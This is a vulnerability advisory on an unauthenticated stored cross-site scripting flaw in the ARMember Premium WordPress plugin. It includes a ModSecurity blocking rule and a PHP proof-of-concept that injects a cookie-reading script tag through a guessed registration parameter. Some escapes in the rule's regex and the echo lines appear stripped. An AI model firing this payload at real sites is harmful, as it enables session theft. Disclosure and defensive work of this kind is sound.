Atomic Edge analysis of CVE-2026-93427 (metadata-based): This is an unauthenticated stored cross-site scripting vulnerability in ARMember Premium, a WordPress membership plugin. The flaw resides in the registration form’s custom field handling, specifically the Profile Cover field. An attacker can submit a crafted registration request containing script code in the Profile Cover field, which is stored and later rendered without proper escaping. Successful exploitation results in arbitrary JavaScript execution in the context of any user who views the injected page, including administrators. The CVSS score of 7.2 reflects a network-based attack with low complexity, no privileges required, and no user interaction from the victim other than visiting a page. Scope is changed because the injected script runs in the context of the victim’s browser session.
Root Cause: Atomic Edge analysis infers that the plugin fails to sanitize user-supplied input on the Profile Cover custom field during registration and fails to escape it on output when rendering the profile or member directory. The CWE-79 classification confirms an improper neutralization issue. Confirmed from metadata: the vulnerability exists in versions up to 7.8.1 and is patched in 7.8.2. Inferred: the plugin likely processes the registration form via an AJAX action or a direct POST handler, saves the Profile Cover value to the user meta table, and later echoes it without applying esc_html, esc_attr, or wp_kses. The lack of sanitization on input and escaping on output allows script tags or event handlers to persist.
Exploitation: An unauthenticated attacker sends a crafted HTTP request to the WordPress registration endpoint. Based on common ARMember patterns, this is likely an AJAX action such as armember_registration or armember_process_registration, or a direct POST to a registration page. The Profile Cover field, which may be named arm_profile_cover or similar, is populated with a payload like alert(document.cookie) or an SVG with an onload handler. The payload is stored in the database and executed when an administrator views the user’s profile in the WordPress admin dashboard or a front-end member directory. Atomic Edge research cannot confirm the exact parameter name without source code, but the PoC below uses a plausible parameter based on ARMember’s naming conventions. Attackers can chain this with social engineering to lure administrators to the affected page.
Remediation: The patched version 7.8.2 likely adds proper sanitization and escaping. Atomic Edge analysis infers that the fix applies sanitize_text_field or wp_kses_post to the Profile Cover input on registration, and uses esc_attr or esc_html when outputting the value in templates. Developers should also enforce nonce verification and capability checks on any related AJAX handlers, though the vulnerability is unauthenticated, so input validation is the primary control. Site owners should upgrade to 7.8.2 immediately. A web application firewall can provide virtual patching by blocking requests that contain script tags in the Profile Cover parameter.
Impact: Exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who views the injected profile page, including administrators. This can lead to session hijacking, theft of authentication cookies, creation of rogue administrator accounts, and full site compromise. The changed scope indicates the script can affect resources beyond the vulnerable component. Because the attack is unauthenticated, it is trivial to automate and target high-value users. The CVSS score of 7.2 reflects high confidentiality and integrity impact within the changed scope, with no availability impact.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-93427 (metadata-based)
# Virtual patch for ARMember Premium unauthenticated stored XSS via Profile Cover field.
# Assumptions: The vulnerable field is submitted to admin-ajax.php with action 'armember_registration' or similar.
# We block requests to admin-ajax.php where the action matches ARMember registration and any parameter contains a script tag.
# This is narrowly scoped to the registration action and script payloads.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20269342,phase:2,deny,status:403,chain,msg:'CVE-2026-93427: ARMember Premium Unauthenticated Stored XSS via Registration Custom Field',severity:'CRITICAL',tag:'CVE-2026-93427'"
SecRule ARGS_POST:action "@rx ^armember_(registration|process_registration)$" "chain"
SecRule ARGS "@rx <script|onerrors*=|onloads*=|javascript:" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-93427 - ARMember Premium <= 7.8.1 - Unauthenticated Stored Cross-Site Scripting via Registration Custom Field
// Assumptions:
// - The registration form is processed via admin-ajax.php with action 'armember_registration' (common ARMember pattern).
// - The Profile Cover field is named 'arm_profile_cover' (inferred from the description).
// - The payload is a simple script tag that executes on page load.
// - No nonce is required because the vulnerability is unauthenticated.
// - The target URL is the WordPress root.
$target_url = 'http://example.com'; // Change to the target WordPress site
// XSS payload to inject into the Profile Cover field.
// The payload will be stored and executed when an admin views the profile.
$payload = '<script>alert("XSS: " + document.cookie)</script>';
// Registration data. Adjust field names as needed.
$post_data = [
'action' => 'armember_registration', // Inferred AJAX action
'user_login' => 'attacker_' . rand(1000, 9999),
'user_email' => 'attacker' . rand(1000, 9999) . '@example.com',
'user_pass' => 'P@ssw0rd!',
'arm_profile_cover' => $payload, // Vulnerable field
// Add other required fields if the form expects them
];
// Initialize cURL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic Edge PoC');
// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output the result.
echo "[+] Sent registration request with XSS payload in Profile Cover field.n";
echo "[+] HTTP response code: $http_coden";
echo "[+] Response: " . substr($response, 0, 500) . "n";
// Note: The script will be stored if the registration succeeds. The attacker must then
// lure an administrator to view the newly created user's profile in the WordPress admin.
// Alternatively, if the plugin exposes a public member directory, the payload may execute
// on the front end for any visitor.
?>